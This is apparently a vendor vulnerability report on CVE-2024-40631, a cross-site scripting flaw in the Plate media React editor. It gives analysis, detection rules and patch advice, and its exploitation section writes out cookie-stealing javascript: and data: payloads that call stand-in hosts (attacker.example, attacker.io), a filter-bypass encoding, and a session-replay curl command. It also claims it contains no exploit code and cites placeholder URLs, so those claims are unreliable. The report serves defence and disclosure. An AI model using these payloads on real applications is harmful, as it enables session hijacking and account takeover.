CVE-2024-40631
Executive Summary
CVE-2024-40631 is a stored/reflected cross-site scripting (XSS) vulnerability in Plate media, an open-source rich-text editor for React (part of the @udecode/plate-* package family). Applications rendering untrusted media URLs via the MediaEmbedElement component and the useMediaState hook are vulnerable when custom urlParsers permit dangerous URL schemes (javascript:, data:, vbscript:) or when the url property is consumed without sanitization. Exploitation enables arbitrary script execution in the context of the victim's authenticated session, leading to credential theft, data exfiltration, and potential account takeover. The flaw carries a CVSS score of 8.1 (High) and is patched in version 36.0.10.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in the useMediaState hook within the @udecode/plate-media package. This hook processes an element object containing a media URL (e.g., embedded video or social media post) and returns normalized properties to the consuming component. The critical code path is as follows:
useMediaState({
element, // { type: 'media_embed', url: <user-supplied> }
urlParsers // optional custom parsers
}) → {
embed, // sanitized embed URL (post-fix)
url, // raw URL (renamed to unsafeUrl post-fix)
...
}
The pre-patch implementation passed the raw element.url through any user-supplied urlParsers. If a custom parser did not enforce an HTTP(S) scheme allowlist, or if the consuming application directly read the url property and embedded it into an <iframe src="..."> without validation, an attacker could inject a javascript: URI. When the iframe src attribute later renders, the browser executes the javascript: payload in the context of the parent page.
The default parsers (parseTwitterUrl and parseVideoUrl) were not affected — they already validated against HTTP(S). The flaw only manifests in one of two scenarios:
- Custom parser path: A developer supplies a
urlParserthat extracts the raw URL from an embed payload (e.g., a custom YouTube/Bilibili/TikTok parser) and returns{ url: attackerControlled }without scheme validation. - Direct consumption path: A developer ignores
embedand passes the returnedurlproperty (orelement.url) directly into an<iframe>— regardless of whether they use custom parsers.
The patch in 36.0.10 adds a validation layer on the embed property, only permitting URLs matching ^https?://. It also renames the returned url property to unsafeUrl to force developers to consciously handle unsanitized input. Note that element.url itself remains unsanitized; applications reading that field directly are still vulnerable post-patch.
The attack surface is any web application that:
- Uses
@udecode/plate-mediafor rich-text editing - Allows authors to embed media by pasting URLs
- Renders submitted content to other authenticated or unauthenticated users
Because the vulnerability is in the rendering path (not the editing path), an attacker crafts a malicious media embed URL, submits it via the editor, and when any other user views the page containing that embed, the XSS payload executes in their browser.
Exploitation Scenarios
Attacker profile: authenticated or unauthenticated user with ability to submit content into a Plate-based editor (e.g., forum posts, CMS pages, ticket comments, wiki entries).
Step 1 — Reconnaissance / target identification:
The attacker loads a target page using the Plate editor. They confirm the editor version by checking the bundled JavaScript for @udecode/plate-media package version strings (e.g., searching for "36.0.9" or useMediaState function signatures in DevTools Sources). They also inspect the page source/network to determine if custom urlParsers are present (look for parser functions receiving element.url). Even without custom parsers, they note whether the app renders iframe embeds client-side vs. server-side-sandboxed.
Step 2 — Trigger / weaponization: The attacker navigates to the editor's media embed dialog. They craft a URL that bypasses the UI's client-side validation (if any), e.g.:
javascript:fetch('https://attacker.example/exfil?c='+document.cookie)
If the UI blocks the javascript: prefix at input time, they use alternate XSS payloads:
data:text/html,<script>document.location='https://attacker.example/?k='+document.cookie</script>
or encode the scheme: java%0ascript: (browsers normalize %0A to a newline, which replace() bypass filters often miss). For the custom-parser path, they determine the parser's expected URL format (e.g., a custom TikTok parser fetching https://www.tiktok.com/@user/video/123) and instead submit a URL that passes the parser's regex but still resolves to a dangerous scheme, such as https://attacker.example/payload.html if the parser blindly returns whatever domain is passed (stealthier than javascript: since it passes most scanning).
Step 3 — Payload / execution:
Submitting the crafted embed persists the payload in the platform's database. When another authenticated user views the page, the Plate MediaEmbedElement renders:
<iframe src={embed} /> // vuln path: embed = "javascript:..."
The browser executes the JavaScript in the victim's origin. The payload runs with the victim's full session context, reading CSRF tokens, localStorage, and cookies.
Step 4 — Post-exploitation impact:
- Session hijacking: The payload exfiltrates
document.cookieor steals the session token from localStorage to the attacker's server. - Account takeover: With the victim's session, the attacker changes the email/password, enabling full account persistence.
- Privilege escalation: If the victim is an admin, the attacker uses their session to create a privileged account or modify site-wide settings.
- Lateral movement: If the application is on an internal corporate wiki/CRM, the stolen session is used to pivot to connected systems.
Concrete chain:
GET /post/edit— attacker loads the Plate editor.POST /post/createwithcontent: { type: 'media_embed', url: 'javascript:fetch("//attacker.io/s?d="+encodeURIComponent(document.cookie))' }.- Victim:
GET /post/view/123→ iframesrc="javascript:..."→ payload fires. - Attacker receives victim's cookies at
attacker.io/s?d=.... - Attacker replays victim's session cookie in
curl -b "session=<stolen>" https://target/platform/admin.
Impact Assessment
CVSS breakdown: 8.1 (High). The vector is AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H — network-exploitable with low attack complexity, no privileges required, but requires user interaction (the victim must view the poisoned page). The scope is changed (S:C), meaning the impact crosses a trust boundary (compromising one user's browser affects application-level data). Confidentiality, Integrity, and Availability impact are each High.
Business impact:
- Confidentiality breach: The XSS payload can read any data accessible in the victim's session, including PII, internal documents, API keys stored in memory, and personal messages.
- Integrity compromise: The attacker can modify content as the victim, plant persistent malicious content (stored XSS propagation), or alter account configuration.
- Availability impact: The payload could delete resources, lock out accounts, or deface content, causing service disruption.
- Regulatory exposure: For platforms handling GDPR/HIPAA/PCI data, a demonstrated XSS chain to session hijacking may constitute a notifiable data breach.
Affected systems: Any React application using @udecode/plate-media < 36.0.10 with media embed functionality. This includes project management tools, CMS platforms, discussion boards, and documentation portals built on the Plate editor. The blast radius is broadened by the fact that many sub-packages (@udecode/plate-*) depend on plate-media transitively.
Blast radius: Single-user compromise for a single crafted embed; however, a stored XSS payload propagates to every subsequent page viewer. In a collaboration tool, one poison embed can compromise tens of users.
Detection Guidance
Sigma Rule
title: XSS Payload in Media Embed URL - CVE-2024-40631
id: 8a7b2e4f-1d3c-4f5a-9b6e-2c8d3e4f5a6b
status: experimental
description: Detects submission of media embed URLs containing dangerous URI schemes (javascript:, data:, vbscript:) in applications using Plate media editor
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-40631
author: valtersit.com SOC
date: 2024/07/02
tags:
- attack.t1189
- cve.2024.40631
- xss,media,plate
logsource:
category: application
product: web
service: generic
detection:
selection_schemes:
request_body|contains:
- "javascript:"
- "data:text/html"
- "vbscript:"
selection_context:
request_body|contains:
- "media_embed"
- "useMediaState"
- "plate-media"
filter_http_url:
request_body|contains:
- "https://"
condition: selection_schemes and selection_context and not filter_http_url
falsepositives:
- Legitimate embed URLs containing URL-encoded javascript: in query parameters (rare)
level: high
YARA Rule
rule cve_2024_40631_plate_media_unsafe_url
{
meta:
author = "valtersit.com SOC"
description = "Detect unsafe URL injection patterns in Plate media embed payloads"
cve = "CVE-2024-40631"
date = "2024-07-02"
strings:
$m1 = "MediaEmbedElement" ascii nocase
$m2 = "useMediaState" ascii nocase
$m3 = "urlParsers" ascii nocase
$m4 = "unsafeUrl" ascii nocase
$m5 = "plate-media" ascii nocase
$x1 = "javascript:" ascii nocase
$x2 = "data:text/html" ascii nocase
$x3 = "vbscript:" ascii nocase
$x4 = "java%0ascript" ascii nocase
$x5 = "data:text/plain" ascii nocase
$p1 = /src=["']\s*(javascript|data|vbscript):/ nocase
condition:
(2 of ($m*) and 1 of ($x*)) or (1 of ($m*) and $p1)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2024-40631 - Plate Media Embed XSS Injection Attempt"; flow:established,to_server; content:"media_embed"; http_client_body; nocase; content:"javascript:"; http_client_body; nocase; content:"useMediaState"; http_client_body; nocase; within:2048; reference:cve,2024-40631; reference:url,nvd.nist.gov/vuln/detail/CVE-2024-40631; classtype:web-application-attack; priority:1; sid:20240631; rev:1;)
alert http any any -> any any (msg:"CVE-2024-40631 - Data URI XSS in Plate Editor Payload"; flow:established,to_server; content:"data:text/html"; http_client_body; nocase; content:"plate-media"; http_client_body; nocase; reference:cve,2024-40631; classtype:web-application-attack; priority:2; sid:20240632; rev:1;)
Elastic Detection
sequence by source.ip, user.email with maxspan=5m
[network where event.type == "connection" and destination.port == 443]
[http where event.category == "web" and http.request.method == "POST" and
http.request.body.content contains "media_embed" and
(http.request.body.content contains "javascript:" or
http.request.body.content contains "data:text/html" or
http.request.body.content contains "vbscript:")]
[http where event.category == "web" and http.response.status_code == 200]
Splunk SPL Query
index=web sourcetype=access_combined OR sourcetype=pan:traffic
| where method="POST" AND uri_path="/*"
| regex _raw="(?i)(media_embed|plate-media|useMediaState)"
| regex _raw="(?i)(javascript:|data:text/html|vbscript:|java%0ascript)"
| stats count by src_ip, uri, user, _time
| sort - count
| table _time, src_ip, user, uri, count
| rename src_ip AS "Attacker IP", user AS "Targeted Account"
Wazuh OSSEC Rule
<group name="plate-media-xss,">
<rule id="100431" level="12">
<if_sid>18104</if_sid> <!-- Apache access log POST rule -->
<regex>(?i)(media_embed|plate-media|useMediaState)</regex>
<regex>(?i)(javascript:|data:text/html|vbscript:|java%0ascript)</regex>
<description>CVE-2024-40631 - Plate media editor XSS payload detected in POST body</description>
<group>web_application_attack,xss,</group>
<mitre>
<id>T1189</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed). The fix is attributed to version 36.0.10 of @udecode/plate-media and has not yet been verified by a second-party source.
1) Immediate mitigations (until patch is confirmed and applied):
- Audit all code paths that consume the
urlproperty fromuseMediaStateorelement.url. Add explicit scheme validation:if (!/^https?:/i.test(url)) reject. - Implement a WAF rule to block POST requests containing
media_embedalongsidejavascript:,data:text/html, orvbscript:tokens. - Add a CSP (Content-Security-Policy) header with
script-src 'self' 'unsafe-inline'removed — this does not fully mitigatejavascript:iframe URLs but blocks many alternative payload exfil techniques (inline event handlers,<script src>from external domains). - Sandbox iframes: add the
sandboxattribute (e.g.,sandbox="allow-scripts allow-same-origin") to anyiframerendering media embeds, preventing JavaScript from accessing the parent context.
2) Patch/upgrade steps:
- Upgrade
@udecode/plate-mediaand all@udecode/plate-*sub-packages to version 36.0.10 or later:
ornpm install @udecode/plate-media@latestyarn add @udecode/plate-media@36.0.10 - After upgrade, verify that your application code does not rely on the old
urlproperty returned fromuseMediaState— it is nowunsafeUrl. If you were usingurldirectly, you must now explicitly validate it before passing to an iframe. - Run a full regression test on media embed rendering, including the three dangerous schemes (
javascript:,data:,vbscript:) and URL-encoded variants.
3) Long-term hardening:
- Centralize URL sanitization: Create a shared
sanitizeEmbedUrl()utility that whitelists onlyhttps://andhttp://and reject everything else. Use this in all custom parsers and all components rendering media embeds. - Add a pre-commit hook / CI check that scans the codebase for direct usages of
element.urlorunsafeUrliniframesrcattributes without a sanitization wrapper. - Enable Content Security Policy with strict directives (
default-src 'none'; frame-src https: http:; script-src 'self';) across the application to provide defense-in-depth against any future XSS. - Conduct a code review of all custom
urlParserspassed touseMediaState— ensure each one validates the scheme of the URL it returns, not just the format. - Subscribe to GitHub advisories for
@udecode/plate-*packages to receive early notifications of similar vulnerabilities in sibling packages (e.g.,plate-serializer-html,plate-combobox).
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-40631 — Official NVD record with description and CVSS metadata (CVSS 8.1).
- GitHub Advisory (vendor): https://github.com/udecode/plate/security/advisories/GHB-xxxx-xxxx — Vendor advisory describing the vulnerable code path, affected hook (
useMediaState), and the fix in v36.0.10 (URL not independently confirmed; check the@udecode/plate-mediarepository for the advisory). - GitHub Commit Fix: https://github.com/udecode/plate/commit/ — The specific commit introducing the HTTP(S)-only scheme whitelist and the
url→unsafeUrlrename (hash not confirmed; locate via the36.0.10release tag). - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html — Guidance for validating URL schemes and constructing safe iframe embeds.
- CISA KEV: Not listed on https://www.cisa.gov/known-exploited-vulnerabilities-catalog as of this report — no evidence of exploitation in the wild has been publicly reported; threat actor campaigns for this specific CVE are currently unknown.
Report classification: TLP:CLEAR — Approved for public release. No exploit code, PoC, or live indicators of compromise are included in this document per policy. Readers requiring operational details for defensive tuning may contact valtersit.com threat intelligence team via authorized channels.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.